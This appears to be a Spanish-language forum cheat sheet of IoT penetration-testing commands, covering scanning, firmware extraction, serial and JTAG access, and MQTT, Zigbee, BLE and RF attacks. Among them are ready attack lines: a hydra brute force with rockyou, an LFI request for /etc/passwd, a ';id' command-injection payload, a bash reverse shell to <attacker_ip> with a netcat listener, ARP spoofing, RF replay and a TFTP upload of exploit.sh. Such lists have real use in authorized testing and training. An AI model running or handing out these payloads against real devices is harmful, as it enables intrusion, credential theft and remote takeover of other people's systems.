Cheatsheat de comandos de pentesting IoT para los script kiddies del foro 😥

nmap -sV -p- -A <target_ip>                     # Escaneo completo con fingerprinting
masscan <subnet> -p0-65535 --rate 10000         # Escaneo rápido de puertos masivos
wiggle https://<target_ip>                      # Fingerprinting web IoT
whatweb <target_ip>                              # Detección de tecnologías web
amap -A <target_ip> <port>                      # Identificación de servicios no estándares
wfuzz -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://<ip>/FUZZ  # Fuzzing directorios

binwalk -e firmware.***                          # Extraer archivos del firmware
firmwalker ./_firmware                           # Revisión automática del firmware extraído
strings firmware.*** | grep -i pass              # Buscar credenciales hardcoded
binwalk -Me firmware.***                         # Escaneo profundo recursivo
dd if=firmware.*** bs=1 skip=<offset> count=<len> of=output.img  # Extraer sección específica

curl -s https://.../passwords.csv | grep <device>        # Buscar contraseñas por fabricante
hydra -l admin -P rockyou.txt <ip> http-get /login       # Fuerza bruta login HTTP
curl -X POST -d 'username=admin&password=admin' http://<ip>/login
curl "http://<ip>/index.php?page=../../../../etc/passwd" # LFI
curl "http://<ip>/ping?host=127.0.0.1;id"                # Command Injection

nc -lvnp 4444
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1
python3 -m http.server 80  # Servidor web para servir exploits

screen /dev/ttyUSB0 115200
minicom -D /dev/ttyUSB0 -b 115200
picocom -b 115200 /dev/ttyUSB0

flashrom -p linux_spi dev=/dev/spidev0.0 -r dump.rom
openocd -f interface/jtag.cfg -f target/stm32f1x.cfg
st-util               # Debug ST microcontroladores
avrdude -c usbasp -p m328p -U flash:r:dump.hex:i

mosquitto_sub -h <ip> -t "#" -v
mosquitto_pub -h <ip> -t "cmd" -m "reboot"
nmap --script mqtt-subscribe -p 1883 <target>

coap-client -m get coap://<ip>/.well-known/core
coap-client -m put -e "data" coap://<ip>/resource

zbscan -i <iface>
zbstumbler -i <iface>
zbdump -i <iface> -o capture.pcap
zbreplay capture.pcap

bluetoothctl scan on
hcitool lescan
gatttool -b <mac> -I
connect <mac>
char-read-hnd 0x0025
btlejack -i <iface> -c

gupnp-universal-cp
nmap --script upnp-info -p 1900 <ip>
mitmproxy -s spoof_ota.py
openssl req -x509 -newkey rsa 4096 -keyout key.pem -out cert.pem -days 365 -nodes
arpspoof -i <iface> -t <victim_ip> <gateway_ip>

jadx-gui app.apk
apktool d app.apk
adb pull /data/data/<package>/databases
adb shell dumpsys package <package_name>
mitmproxy --mode transparent --showhost

hackrf_transfer -r capture.*** -f <freq> -s 2000000
hackrf_transfer -t replay.*** -f <freq> -s 2000000
gnuradio-companion
rtl_433 -f <freq> -R <device_id>

curl -X GET https://api.<iotvendor>.com/devices
curl -H "Authorization: Bearer <token>" https://api.<vendor>.com/user/profile

tftp <target_ip>
get config.txt
put exploit.sh